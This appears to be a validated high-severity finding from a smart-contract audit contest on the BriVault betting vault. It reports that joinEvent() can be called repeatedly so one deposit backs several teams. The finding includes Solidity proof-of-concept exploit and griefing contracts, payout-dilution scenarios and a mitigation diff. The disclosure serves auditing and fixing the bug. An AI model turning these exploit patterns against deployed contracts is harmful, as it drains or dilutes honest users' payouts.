BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Users Can Bet on Multiple Teams

Users Can Bet on Multiple Teams

Description

  • The normal behavior is that each user should select one team to bet on, and their shares should be allocated only to that team, creating a fair betting system where users win or lose based on their single team choice.

  • The issue is that while userToCountry[msg.sender] gets overwritten when joinEvent() is called multiple times with different countryId values, the userSharesToCountry[msg.sender][countryId] mapping accumulates entries for each team without clearing previous ones, allowing users to bet on multiple teams with a single deposit and guaranteed profit if any of their teams wins.

function joinEvent(uint256 countryId) public {
// ... validation ...
userToCountry[msg.sender] = teams[countryId]; // @> This gets overwritten each call
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares; // @> This ACCUMULATES for each countryId!
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}

Risk

Likelihood:

  • Requires users to discover they can call joinEvent() multiple times with different team IDs, which is not immediately obvious

  • More likely when users experiment with the contract or sophisticated users read the code

  • Will occur when users want to hedge bets or when they discover the exploit through trial and error

  • Barriers exist: users must call function multiple times intentionally with different parameters

Impact:

  • Users can bet on multiple favorite teams with single deposit, creating guaranteed wins

  • Completely breaks the betting mechanics and fairness of the tournament

  • Users who discover exploit have massive unfair advantage over honest participants

  • While users can only withdraw if LAST joined team wins, they still dilute rewards for legitimate winners by inflating totalWinnerShares

  • Undermines entire economic model and protocol integrity

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./BriVault.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MultiTeamExploit {
BriVault public vault;
IERC20 public asset;
constructor(address _vault) {
vault = BriVault(_vault);
asset = IERC20(vault.asset());
}
// EXPLOIT: Bet on multiple teams with single deposit
function betOnMultipleTeams() external {
// Step 1: Deposit 1000 USDC once
asset.approve(address(vault), 1030e6);
vault.deposit(1030e6, address(this));
// Received 1000 shares
// Step 2: Join Brazil (team 0)
vault.joinEvent(0);
// State:
// userToCountry[this] = "Brazil"
// userSharesToCountry[this][0] = 1000
// Step 3: Join Argentina (team 5)
vault.joinEvent(5);
// State:
// userToCountry[this] = "Argentina" ← OVERWRITTEN
// userSharesToCountry[this][0] = 1000 ← STILL EXISTS!
// userSharesToCountry[this][5] = 1000 ← NEW ENTRY!
// Step 4: Join France (team 10)
vault.joinEvent(10);
// State:
// userToCountry[this] = "France" ← OVERWRITTEN AGAIN
// userSharesToCountry[this][0] = 1000 ← STILL EXISTS!
// userSharesToCountry[this][5] = 1000 ← STILL EXISTS!
// userSharesToCountry[this][10] = 1000 ← NEW ENTRY!
// Result: 1000 shares allocated to 3 different teams!
}
// Demonstrate strategic exploitation
function strategicMultiTeamBetting() external {
// Bet on top 5 tournament favorites
vault.joinEvent(0); // Brazil (30% win probability)
vault.joinEvent(1); // Argentina (25% win probability)
vault.joinEvent(2); // France (20% win probability)
vault.joinEvent(3); // Germany (15% win probability)
vault.joinEvent(4); // Spain (10% win probability)
// Total win probability: 100% (guaranteed one wins)
// userToCountry = "Spain" (last joined)
// But shares allocated to all 5 teams
// If Spain wins: Can withdraw ✓
// If Germany wins: Cannot withdraw (userToCountry != winner)
// But still inflated totalWinnerShares, diluting others
}
// Show impact on winner shares calculation
function demonstrateWinnerSharesInflation() external view {
// Scenario:
// - Honest Alice bet 1000 USDC on France
// - Honest Bob bet 2000 USDC on France
// - Exploiter (this) bet 1000 USDC allocated to Brazil, Argentina, France
// When France wins, _getWinnerShares() calculates:
// Loop through usersAddress:
// i=0: Alice
// totalWinnerShares += userSharesToCountry[Alice][10] = 1000
// totalWinnerShares = 1000
// i=1: Bob
// totalWinnerShares += userSharesToCountry[Bob][10] = 2000
// totalWinnerShares = 3000
// i=2: this (exploiter, joined 3 times so appears 3x)
// totalWinnerShares += userSharesToCountry[this][10] = 1000
// totalWinnerShares = 4000
// i=3: this (duplicate)
// totalWinnerShares += userSharesToCountry[this][10] = 1000
// totalWinnerShares = 5000
// i=4: this (duplicate)
// totalWinnerShares += userSharesToCountry[this][10] = 1000
// totalWinnerShares = 6000
// Correct totalWinnerShares should be 4000
// Inflated to 6000 due to duplicates!
}
// Demonstrate withdrawal scenario
function attemptWithdrawal() external {
// If France won (team 10):
// withdraw() checks:
// keccak256(userToCountry[this]) == keccak256(winner)
// "France" == "France" ✓
// Can withdraw!
// Get: (1000 shares * vaultBalance) / totalWinnerShares
// But totalWinnerShares is inflated from our duplicates
// So everyone gets diluted payouts
}
}
// Real economic impact scenario:
contract EconomicImpactDemo {
/*
Tournament Setup:
- 100 participants
- 50 bet on Brazil (50,000 USDC)
- 30 bet on Argentina (30,000 USDC)
- 20 bet on France (20,000 USDC)
- Total pool: 100,000 USDC
Exploiter Strategy:
- Deposits 10,000 USDC (one deposit)
- Joins Brazil, Argentina, France (multi-team exploit)
- Last join: France (so userToCountry = "France")
If France Wins (Normal Case):
- Total France bettors: 20 + exploiter
- France pool: 20,000 + 10,000 = 30,000 shares
- Each France bettor should get: (shares/30,000) * 100,000
- Exploiter should get: (10,000/30,000) * 100,000 = 33,333 USDC
If France Wins (With Duplicate Bug):
- Exploiter joined 3 times, appears in array 3 times
- totalWinnerShares calculated as:
// 20 honest users: 20,000 shares
// Exploiter counted 3x: 30,000 shares (10k * 3)
// Total: 50,000 shares (WRONG!)
- Exploiter withdraws: (10,000/50,000) * 100,000 = 20,000 USDC
- Each honest user gets: (1,000/50,000) * 100,000 = 2,000 USDC
Impact:
- Exploiter should get: 33,333 USDC
- Exploiter actually gets: 20,000 USDC
- Honest users should get: 1000 → (66,667/20) = 3,333 USDC each
- Honest users actually get: 2,000 USDC each
While exploiter loses from their own inflation, they:
1. Diluted everyone's payouts
2. Had guaranteed win potential betting on 3 teams
3. Created unfair advantage
*/
}
// Griefing attack scenario:
contract GriefingAttack {
BriVault vault;
function griefLegitimateWinners() external {
// Deposit minimal amount
vault.deposit(100e6, address(this)); // 100 USDC
// Join ALL 48 teams
for (uint i = 0; i < 48; i++) {
vault.joinEvent(i);
}
// Result:
// - usersAddress has 48 entries of this address
// - userSharesToCountry[this][0..47] = 100 shares each
// - Whichever team wins, our 100 shares counted 48 times
// - totalWinnerShares massively inflated
// - All legitimate winners get tiny payouts
// Cost to attacker: 100 USDC + gas
// Damage to protocol: Massive dilution of all winner payouts
}
}
// Show partial exploit limitation:
contract PartialExploitLimitation {
/*
The exploit is PARTIAL because:
userToCountry only stores LAST team joined.
Scenario:
- User joins: Brazil → Argentina → France
- userToCountry = "France"
- userSharesToCountry[user][0] = 1000 (Brazil)
- userSharesToCountry[user][5] = 1000 (Argentina)
- userSharesToCountry[user][10] = 1000 (France)
If Brazil wins:
- _getWinnerShares() DOES count user's 1000 shares
- totalWinnerShares includes them
- But withdraw() checks: userToCountry == "France" != "Brazil"
- User CANNOT withdraw!
- They diluted other winners but can't claim
If France wins:
- _getWinnerShares() counts user's 1000 shares
- withdraw() checks: userToCountry == "France" == "France"
- User CAN withdraw!
So exploit gives:
1. Ability to bet on multiple teams
2. Can withdraw if LAST team joined wins
3. Even if can't withdraw, still griefs legitimate winners
4. Strategic: join favorites, make last join = most likely winner
*/
}

Recommended Mitigation

contract BriVault is ERC4626, Ownable {
+ mapping(address => bool) public hasJoinedEvent;
+ mapping(address => uint256) public userChosenTeamId;
+ error AlreadyJoined();
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
+ // Prevent multiple joins
+ if (hasJoinedEvent[msg.sender]) {
+ revert AlreadyJoined();
+ }
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
+ userChosenTeamId[msg.sender] = countryId;
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
+ hasJoinedEvent[msg.sender] = true;
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
+ // Optional: Allow team change but clear previous allocation
+ function changeTeam(uint256 newCountryId) external {
+ if (!hasJoinedEvent[msg.sender]) revert notRegistered();
+ if (block.timestamp >= eventStartDate) revert eventStarted();
+ if (newCountryId >= teams.length) revert invalidCountry();
+
+ uint256 oldTeamId = userChosenTeamId[msg.sender];
+
+ // Clear old allocation
+ userSharesToCountry[msg.sender][oldTeamId] = 0;
+
+ // Set new team
+ userToCountry[msg.sender] = teams[newCountryId];
+ userChosenTeamId[msg.sender] = newCountryId;
+ userSharesToCountry[msg.sender][newCountryId] = balanceOf(msg.sender);
+
+ emit TeamChanged(msg.sender, oldTeamId, newCountryId);
+ }
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
- if (
- keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
- keccak256(abi.encodePacked(winner))
- ) {
- revert didNotWin();
- }
+ // Use integer comparison instead of expensive string comparison
+ if (userChosenTeamId[msg.sender] != winnerCountryId) {
+ revert didNotWin();
+ }
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!